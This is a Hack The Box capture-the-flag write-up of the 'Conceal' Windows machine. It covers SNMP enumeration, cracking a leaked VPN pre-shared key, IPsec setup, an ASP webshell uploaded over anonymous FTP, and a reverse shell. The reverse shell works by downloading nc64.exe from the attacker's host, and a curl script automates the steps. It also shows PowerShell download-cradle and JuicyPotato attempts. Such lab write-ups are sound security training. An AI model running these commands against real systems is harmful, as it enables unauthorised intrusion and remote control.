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  1. Normal nmap scans finds nothing, even flag -p- doesn’t find anything. Instead we go for UDP;

[root:/git/htb/conceal]# nmap -sU -sV –version-intensity 0 -F -n PORT STATE SERVICE VERSION 161/udp open snmp SNMPv1 server (public) 500/udp open isakmp? Service Info: Host: Conceal

  1. With SNMP found, we can try to enumerate by guessing the community string is set to ‘public’, using snmp-check.

[root:/git/htb/conceal]# snmp-check -p 161 -c public (master✱) snmp-check v1.9 - SNMP enumerator

[+] Try to connect to using SNMPv1 and community ‘public’ Host IP address : Hostname : Conceal Description : Hardware: AMD64 Family 23 Model 1 Stepping 2 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free) Contact : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43 Location : - Uptime snmp : 02:56:40.59 Uptime system : 02:56:27.05 System date : 2021-3-23 12:37:35.9 Domain : WORKGROUP

[*] User accounts: Guest Destitute Administrator DefaultAccount

[*] TCP connections and listening ports: Local address Local port Remote address Remote port State 21 0 listen 80 0 listen 135 0 listen 445 0 listen 49664 0 listen 49665 0 listen 49666 0 listen 49667 0 listen 49668 0 listen 49669 0 listen 49670 0 listen 139 0 listen

[*] Listening UDP ports: Local address Local port 123 161 500 4500 5050 5353 5355 62345 137 138 1900 50998 1900 50999

[*] Processes: Id Status Name Path Parameters 1 running System Idle Process 4 running System 60 running svchost.exe C:\Windows\System32\ -k NetworkService 68 running svchost.exe C:\Windows\System32\ -k LocalSystemNetworkRestricted 288 running smss.exe 328 running svchost.exe C:\Windows\system32\ -k LocalService 380 running csrss.exe 464 running wininit.exe 472 running csrss.exe 528 running winlogon.exe 608 running services.exe 616 running lsass.exe C:\Windows\system32
668 running svchost.exe C:\Windows\system32\ -k LocalServiceNoNetwork 704 running svchost.exe C:\Windows\system32\ -k DcomLaunch 732 running fontdrvhost.exe 736 running fontdrvhost.exe 828 running svchost.exe C:\Windows\system32\ -k RPCSS 920 running dwm.exe 944 running svchost.exe C:\Windows\system32\ -k netsvcs 980 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted 1116 running vmacthlp.exe C:\Program Files\VMware\VMware Tools
1212 running Memory Compression 1348 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted 1420 running svchost.exe C:\Windows\System32\ -k LocalServiceNetworkRestricted 1436 running svchost.exe C:\Windows\system32\ -k LocalServiceNetworkRestricted 1504 running spoolsv.exe C:\Windows\System32
1672 running svchost.exe C:\Windows\system32\ -k appmodel 1688 running LogonUI.exe /flags:0x0 /state0:0xa3a9a055 /state1:0x41c64e6d 1700 running svchost.exe C:\Windows\system32\ -k apphost 1720 running svchost.exe C:\Windows\System32\ -k utcsvc 1736 running svchost.exe C:\Windows\system32\ -k ftpsvc 1816 running SecurityHealthService.exe 1828 running snmp.exe C:\Windows\System32
1892 running svchost.exe C:\Windows\system32\ -k iissvcs 1928 running MsMpEng.exe 1936 running VGAuthService.exe C:\Program Files\VMware\VMware Tools\VMware VGAuth
1952 running vmtoolsd.exe C:\Program Files\VMware\VMware Tools
2000 running ManagementAgentHost.exe C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin
2628 running svchost.exe C:\Windows\system32\ -k NetworkServiceNetworkRestricted 2768 running SearchIndexer.exe C:\Windows\system32\ /Embedding 2896 running WmiPrvSE.exe C:\Windows\system32\wbem
3036 running dllhost.exe C:\Windows\system32\ /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235} 3204 running msdtc.exe C:\Windows\System32
3528 running NisSrv.exe 3696 running svchost.exe C:\Windows\system32\ -k LocalSystemNetworkRestricted 4076 running svchost.exe C:\Windows\system32\ -k LocalServiceAndNoImpersonation

We get a lot of interesting data;

  • IKE VPN PSK: 9C8B1A372B1878851BE2C097031B6E43 (Dudecake1!)
  • Usernames; Destitute, Administrator
  • A lot of listening TCP- and UDP-ports.
  1. The hash looks like md5, but trying to crack it with hashcat and wordlist rockyou.txt gives nothing. Using hash-identifier we get the option of ‘NTLM’, and sure enough trying that gives us a password.

[root:/git/htb/conceal]# hash-identifier — snip — HASH: 9C8B1A372B1878851BE2C097031B6E43

Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs: [+] RAdmin v2.x [+] NTLM

[root:/git/htb/conceal]# hashcat -a0 -m1000 ‘9C8B1A372B1878851BE2C097031B6E43’ /usr/share/wordlists/rockyou.txt — snip — 9c8b1a372b1878851be2c097031b6e43:Dudecake1!

Using ike-scan we can verify if they’re running in aggressive or main mode. If aggressive mode, we can easily brute force the group ID, and later a password hash to gain access.

Aggressive test: [root:/git/htb/conceal]# ike-scan -M -A –id=test –sport=5001 (master✱) Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9.4: 1 hosts scanned in 2.438 seconds (0.41 hosts/sec). 0 returned handshake; 0 returned notify

Main test: [root:/git/htb/conceal]# ike-scan -M –sport=5001 (master✱) Starting ike-scan 1.9.4 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Main Mode Handshake returned HDR=(CKY-R=f2741f0361c9dbfa) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration(4)=0x00007080) VID=1e2b516905991c7d7c96fcbfb587e46100000009 (Windows-8) VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T) VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n) VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation) VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable) VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)

Ending ike-scan 1.9.4: 1 hosts scanned in 0.064 seconds (15.72 hosts/sec). 1 returned handshake; 0 returned notify

However they are running main mode, making it all that much harder.

  1. With the information we have gathered, configure strongswan to setup our IPSec connection.

Edit ‘/etc/ipsec.secrets’ and add the PSK at the bottom; [root:/git/htb/conceal]# cat /etc/ipsec.secrets (master✱) — snip — : PSK “Dudecake1!”

Setup a new connection in ‘/etc/ipsec.conf’; [root:/git/htb/conceal]# cat /etc/ipsec.conf (master✱) — snip — conn Conceal type=transport auto=start keyexchange=ikev1 authby=psk right= ike=3des-sha1-modp1024 esp=3des-sha1 rightprotoport=tcp leftprotoport=tcp

[root:/git/htb/conceal]# ipsec start (master✱) Starting strongSwan 5.9.1 IPsec [starter]… [root:/git/htb/conceal]# ipsec status (master✱) Security Associations (1 up, 0 connecting): Conceal[1]: ESTABLISHED 4 seconds ago,[]…[] Conceal{1}: INSTALLED, TRANSPORT, reqid 1, ESP SPIs: cddc16ac_i 19a4e0d0_o Conceal{1}: ===[tcp]

NOTE: Troubleshooting can be done by adding the –nofork flag, ex. ‘ipsec start –nofork’

  1. Now when connected, we can scan the device and get a satisfactory result. We found all open TCP ports earlier using smnp-check, scan them again with nmap (flag -sT needed else everything shows as filtered).

[root:/opt/ikeforce]# nmap -sT -sVC -p21,80,135,445,49664,49665,49666,49667,49668,49669,49670,139 (master) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results: |clock-skew: 6m23s | smb2-security-mode: | 2.02: | Message signing enabled but not required | smb2-time: | date: 2021-03-23T15:23:09 |_ start_date: 2021-03-23T09:41:08

DIRB: —- Scanning URL: —- ==> DIRECTORY:

  1. We got anonymous login to the FTP server, and can put files on the share. From dirb we found a ‘upload’ directory, meaning we can probably upload a shell on the FTP-server, and trigger it through the URL.

Seems like we can upload most files, however file bigger then 1100 seem to get stuck in upload. None of .aspx, .php, .py, .war, .exe, .jsp seem to work. I went with a minimal (size 1099) .asp webshell that worked.

From the webshell we can grab user.txt (called proof.txt in this box)

ftp> open Connected to 220 Microsoft FTP Service Name ( anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> put webshell.asp


Enter: type C:\Users\Destitute\Desktop\proof.txt or URL:

The server’s local address: 6E9FDFE0DCB66E700FB9CB824AE5A6FF


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  1. To get a reverse shell has been very very annoying. I tried everything from one-liners to trigger powershell scripts over a python3 hosted http.server, trigger executables over smb and more - but all failed, even though the victim fetched the vulnerable file/scripts.

The solution was primal: a. Setup local python3 http.server in a directory containing nc64.exe b. Setup your nc listener c. Upload a webshell through the anonymous FTP d. Quickly create C:\tmp before webshell is deleted e. Quickly upload nc64.exe to C:\tmp f. Even faster execute a reverse connection from C:\tmp\nc64.exe before BOTH webshell and nc64.exe is deleted g. Grab shell and profit

WEBSHELL: mkdir C:\tmp

[root:/opt/shells/asp]# python3 -m http.server 8080 Serving HTTP on port 8080 ( … - - [24/Mar/2021 12:23:48] “GET /nc64.exe HTTP/1.1” 200 -

WEBSHELL: powershell Invoke-WebRequest -Uri “” -OutFile “C:\tmp\nc64.exe” WEBSHELL: powershell -c “C:\tmp\nc64.exe 4488 -c cmd”

[root:/git/htb/conceal]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [] from (UNKNOWN) [] 49705 Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved.


This whole process can also be automated if one would want to make a script. For this I made a real quick and dirty bash script, curl-rev.sh, as a poc.

[root:/git/htb/conceal]# cat curl-rev.sh (master✱) #!/bin/bash

### IMPORTANT! ### # Before you run the script, make sure to setup: # python -m http.server 8080 (in a folder where nc64.exe exists) # rlwrap nc -lvnp 4488

# Upload Webshell curl –user anonymous:anonymous –upload-file /opt/shells/asp/webshell.asp ftp://conceal.htb/

# Upload nc64.exe and executes reverse: # mkdir C:\tmp # powershell Invoke-WebRequest -Uri “” -OutFile “C:\tmp\nc64.exe” # C:\tmp\nc64.exe 4488 -e cmd curl http://conceal.htb/upload/webshell.asp\?cmd=mkdir%20C%3A%5Ctmp curl http://conceal.htb/upload/webshell.asp\?cmd=powershell%20Invoke-WebRequest%20-Uri%20%22http%3A%2F%2F10.10.14.11%3A8080%2Fnc64.exe%22%20-OutFile%20%22C%3A%5Ctmp%5Cnc64.exe%22 sleep 1 curl http://conceal.htb/upload/webshell.asp\?cmd=C%3A%5Ctmp%5Cnc64.exe%2010.10.14.11%204488%20-e%20cmd echo “done!”

  1. Enumerate the box! Look a groups, privs, and see if there are any obviously suspicious files.

C:\tmp>whoami /all — snip — Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group IIS APPPOOL\DefaultAppPool Well-known group S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-32-4028125388-2803578072-1053907958-341417128-2434011155-477421480-740873757-3973419746 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-32-2745667521-2937320506-1424439867-4164262144-2333007343-2599685697-2993844191-2003921822 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-32-1034403361-4122601751-838272506-684212390-1217345422-475792769-1698384238-1075311541 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288

— snip — Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeShutdownPrivilege Shut down the system Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

Groups looks pretty normal, nothing really going on there. We can see from the privs that we have ‘SeImpersonatePrivilege’, maybe we can use JuicyPotato?

  1. Trying to execute JuicyPotato unfortunately locally and remotely triggers the AV; C:\Users\Destitute\Documents> powershell Invoke-WebRequest -Uri “” -OutFile jp.exe C:\Users\Destitute\Documents> powershell -c “C:\Users\Destitute\Documents\jp.exe -l 1444 -p c:\tmp\nc64.exe -a “ 4499 -e cmd” -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}” — snip — Program ‘jp.exe’ failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted software

We can’t even setup a new reverse Powershell shell with Nishang’s Invoke-PowerShellTcp without the AV complaining; C:\Users\Destitute\Documents> powershell -c IEX (New-Object Net.WebClient).DownloadString(‘’) — snip — This script contains malicious content and has been blocked by your antivirus software.

Seems like we need to look for another privesc.

  1. Grab systeminfo and throw it to windows-exploit-suggester.

[root:/git/htb/conceal]# python /opt/windows-exploit-suggester.py –update (master✱) [root:/git/htb/conceal]# python /opt/windows-exploit-suggester.py –database 2021-03-25-mssb.xls –systeminfo systeminfo.txt [] initiating winsploit version 3.3… [] database file detected as xls or xlsx based on extension [] attempting to read from the systeminfo input file [+] systeminfo input file read successfully (ascii) [] querying database file for potential vulnerabilities [] comparing the 0 hotfix(es) against the 160 potential bulletins(s) with a database of 137 known exploits [] there are now 160 remaining vulns [+] [E] exploitdb PoC, [M] Metasploit module, [] missing bulletin [+] windows version identified as ‘Windows 10 64-bit’ [] [E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important [] https://www.exploit-db.com/exploits/40745/ – Microsoft Windows Kernel - win32k Denial of Service (MS16-135) [] https://www.exploit-db.com/exploits/41015/ – Microsoft Windows Kernel - ‘win32k.sys’ ‘NtSetWindowLongPtr’ Privilege Escalation (MS16-135) (2) [] https://github.com/tinysec/public/tree/master/CVE-2016-7255 [] [E] MS16-129: Cumulative Security Update for Microsoft Edge (3199057) - Critical [] https://www.exploit-db.com/exploits/40990/ – Microsoft Edge (Windows 10) - ‘chakra.dll’ Info Leak / Type Confusion Remote Code Execution [] https://github.com/theori-io/chakra-2016-11 [] [E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important [] https://www.exploit-db.com/exploits/41020/ – Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) [] [M] MS16-075: Security Update for Windows SMB Server (3164038) - Important [] https://github.com/foxglovesec/RottenPotato [] https://github.com/Kevin-Robertson/Tater [] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 – Windows: Local WebDAV NTLM Reflection Elevation of Privilege [] https://foxglovesecurity.com/2016/01/16/hot-potato/ – Hot Potato - Windows Privilege Escalation [] [E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important [] https://www.exploit-db.com/exploits/39990/ – Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC [] https://www.exploit-db.com/exploits/39991/ – Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC [] [E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical [] https://www.exploit-db.com/exploits/39994/ – Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC [] [E] MS16-056: Security Update for Windows Journal (3156761) - Critical [] https://www.exploit-db.com/exploits/40881/ – Microsoft Internet Explorer - jscript9 Java­Script­Stack­Walker Memory Corruption (MS15-056) [] http://blog.skylined.nl/20161206001.html – MSIE jscript9 Java­Script­Stack­Walker memory corruption [] [E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important [] https://www.exploit-db.com/exploits/40107/ – MS16-032 Secondary Logon Handle Privilege Escalation, MSF [] https://www.exploit-db.com/exploits/39574/ – Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC [] https://www.exploit-db.com/exploits/39719/ – Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC [] https://www.exploit-db.com/exploits/39809/ – Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#) [] [M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important [] https://www.exploit-db.com/exploits/40085/ – MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF [] https://www.exploit-db.com/exploits/39788/ – Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC [] https://www.exploit-db.com/exploits/39432/ – Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC [] [E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important [] Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC [] [E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important [] https://www.exploit-db.com/exploits/39232/ – Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC [] https://www.exploit-db.com/exploits/39233/ – Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC [] [E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important [] https://www.exploit-db.com/exploits/38968/ – Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC [] https://www.exploit-db.com/exploits/38918/ – Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC [] [E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical [] https://www.exploit-db.com/exploits/39698/ – Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112) [] [E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important [] https://www.exploit-db.com/exploits/38474/ – Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC [] [E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important [] https://www.exploit-db.com/exploits/38202/ – Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC [] https://www.exploit-db.com/exploits/38200/ – Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC [] https://www.exploit-db.com/exploits/38201/ – Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC [] [E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical [] https://www.exploit-db.com/exploits/38198/ – Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC [] https://www.exploit-db.com/exploits/38199/ – Windows NtUserGetClipboardAccessToken Token Leak, PoC [] [*] done

MS16-135: C:\Users\Destitute\Documents> powershell -c IEX (New-Object Net.WebClient).DownloadString(‘’) — snip — This script contains malicious content and has been blocked by your antivirus software.

C:\Users\Destitute\Documents> // The request is not supported.

MS16-032: Opens a new console, so only applicable when you have a RDP session.

MS16-016: Opens a new console, so only applicable when you have a RDP session.

None of the above exploits seem to work. Out of frustration I went ahead an looked on a walkthrough, and sure enough JuicyPotato was the way to root. Since we can’t get it to work, here’s the free root.txt:



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SNMP Enum: https://book.hacktricks.xyz/pentesting/pentesting-snmp#enumerating-snmp

IKE Enum: https://book.hacktricks.xyz/pentesting/ipsec-ike-vpn-pentesting

Strongswan: https://wiki.strongswan.org/projects/strongswan/wiki/ConnSection https://blog.ruanbekker.com/blog/2018/02/11/setup-a-site-to-site-ipsec-vpn-with-strongswan-and-preshared-key-authentication/

ASP Webshell: https://github.com/tennc/webshell/blob/master/asp/webshell.asp

Powershell Reverse: https://github.com/samratashok/nishang/tree/master/Shells

JuicyPotato CLSID: http://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise/